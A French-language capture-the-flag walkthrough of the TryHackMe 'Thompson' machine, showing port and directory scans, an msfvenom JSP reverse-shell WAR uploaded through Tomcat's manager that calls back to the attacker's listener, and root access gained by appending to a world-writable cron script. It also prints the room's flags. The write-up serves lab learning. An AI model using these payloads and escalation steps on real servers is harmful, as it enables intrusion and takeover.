Thompson

boot2root machine for FIT and bsides guatemala CTF

https://tryhackme.com/room/bsidesgtthompson

Reconnaissance

root@ip-10-10-204-142:~# nmap -sC -sV 10.10.141.138

Starting Nmap 7.60 ( https://nmap.org ) at 2022-12-19 18:14 GMT
Nmap scan report for ip-10-10-141-138.eu-west-1.compute.internal (10.10.141.138)
Host is up (0.0035s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fc:05:24:81:98:7e:b8:db:05:92:a6:e7:8e:b0:21:11 (RSA)
|   256 60:c8:40:ab:b0:09:84:3d:46:64:61:13:fa:bc:1f:be (ECDSA)
|_  256 b5:52:7e:9c:01:9b:98:0c:73:59:20:35:ee:23:f1:a5 (EdDSA)
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open  http    Apache Tomcat 8.5.5
|_http-favicon: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat/8.5.5
MAC Address: 02:BD:B5:5A:E6:51 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.97 seconds

3 ports sont ouverts: 22 (SSH), 8009 (Apache Jserv), 8080 (Apache Tomcat).

Essayons d’énumérer des répertoires cachés sur le port 8080.

root@ip-10-10-204-142:~/Desktop/Tools/wordlists/dirbuster# gobuster dir -u http://10.10.141.138:8080 -w directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.141.138:8080
[+] Threads:        10
[+] Wordlist:       directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2022/12/19 18:18:02 Starting gobuster
===============================================================
/docs (Status: 302)
/examples (Status: 302)
/manager (Status: 302)
===============================================================
2022/12/19 18:20:22 Finished
===============================================================

3 répertoires apparaissent.

Essayons d’afficher le répertoire /manager. Des identifiants sont demandés. SI on clique sur « Annuler », nous obtenons cette page qui contient des identifiants.

Nous allons nous connecter avec ces identifiants.

Cette interface nous permet de gérer les applications et d’uploader de nouvelles applications.

Ici, nous allons utiliser msfvenom pour générer un reverse shell JSP dans un fichier WAR.

root@ip-10-10-204-142:~# msfvenom -p java/jsp_shell_reverse_tcp lhost=10.10.204.142 lport=4444 -f war -o shell.war
Payload size: 1105 bytes
Final size of war file: 1105 bytes
Saved as: shell.war

Maintenant, nous allons ouvrir un listener sur notre machine.

root@ip-10-10-204-142:~# msfvenom -p java/jsp_shell_reverse_tcp lhost=10.10.204.142 lport=4444 -f war -o shell.war
Payload size: 1105 bytes
Final size of war file: 1105 bytes
Saved as: shell.war
root@ip-10-10-204-142:~# msfconsole -q
msf5 > use /multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf5 exploit(multi/handler) > set payload java/jsp_shell_reverse_tcp 
payload => java/jsp_shell_reverse_tcp
msf5 exploit(multi/handler) > set lhost 10.10.204.142
lhost => 10.10.204.142
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.204.142:4444 

Maintenant, il ne nous reste plus qu’à uploader notre fichier shell.war, puis cliquer sur le lien lorsqu’il apparaîtra dans la liste. Nous devrions obtenir notre reverse shell.

Une fois notre reverse shell obtenu, on récupère une session et on stabilise le shell tout de suite.

msf5 exploit(multi/handler) > [*] Command shell session 1 opened (10.10.204.142:4444 -> 10.10.141.138:36184) at 2022-12-19 18:34:16 +0000
sessions

Active sessions
===============

  Id  Name  Type              Information  Connection
  --  ----  ----              -----------  ----------
  1         shell java/linux               10.10.204.142:4444 -> 10.10.141.138:36184 (10.10.141.138)

msf5 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

SHELL=/bin/bash script -q /dev/null
tomcat@ubuntu:/$ 

Nous pouvons récupérer le fichier user.txt

tomcat@ubuntu:/$ ls
ls
bin   etc	  initrd.img.old  lost+found  opt   run   sys  var
boot  home	  lib		  media       proc  sbin  tmp  vmlinuz
dev   initrd.img  lib64		  mnt	      root  srv   usr  vmlinuz.old
tomcat@ubuntu:/$ cd /home
cd /home
tomcat@ubuntu:/home$ ls
ls
jack
tomcat@ubuntu:/home$ cd jack
cd jack
tomcat@ubuntu:/home/jack$ ls
ls
id.sh  test.txt  user.txt
tomcat@ubuntu:/home/jack$ cat user.txt
cat user.txt
39400c90bc683a41a8935e4719f181bf

Nous n’avons pas le mot de passe pour l’utilisateur tomcat. Nous allons tenter de trouver un autre moyen pour obtenir l’accès root.

Ce moyen, nous le trouvons en explorant le fichier /etc/crontab.

tomcat@ubuntu:/home/jack$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*  *	* * *	root	cd /home/jack && bash id.sh

Nous trouvons un fichier intéressant: id.txt.

Ce fichier renvoie le résultat de la commande id dans un fichier test.txt

tomcat@ubuntu:/home/jack$ cat id.sh
cat id.sh
#!/bin/bash
id > test.txt

Ce fichier est ouvert à tout le monde !

tomcat@ubuntu:/home/jack$ ls -lah id.sh	
ls -lah id.sh
-rwxrwxrwx 1 jack jack 26 Aug 14  2019 id.sh

Nous allons pouvoir modifier ce script de façon à ce qu’il renvoie le contenu du fichier /root/root.txt

printf '#!/bin/bash\ncat /root/root.txt > test.txt' >> id.sh

On peut maintenant récupérer le flag root dans le fichier test.txt

tomcat@ubuntu:/home/jack$ cat test.txt
cat test.txt
d89d5391984c0450a95497153ae7ca3a